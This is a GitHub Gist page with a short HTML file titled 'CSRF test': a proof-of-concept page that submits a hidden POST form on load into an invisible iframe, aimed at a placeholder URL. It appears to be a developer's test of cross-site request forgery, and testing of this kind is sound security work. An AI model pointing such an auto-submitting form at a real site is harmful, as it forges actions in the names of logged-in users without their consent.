Created
December 12, 2009 17:05
-
-
Save yaotti/254967 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN"> | |
<html> | |
<head> | |
<meta http-equiv="content-type" content="text/html; charset=UTF-8"> | |
<title>CSRF test</title> | |
</head> | |
<body onload="document.getElementById('f').submit();"> | |
<form action="/some/post/url" method="post" id="f" target="ifr"> | |
<input type="text" name="body" value="CSRF!" /> | |
<input type="submit" value="送信"/> | |
</form> | |
<iframe name="ifr"></iframe> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment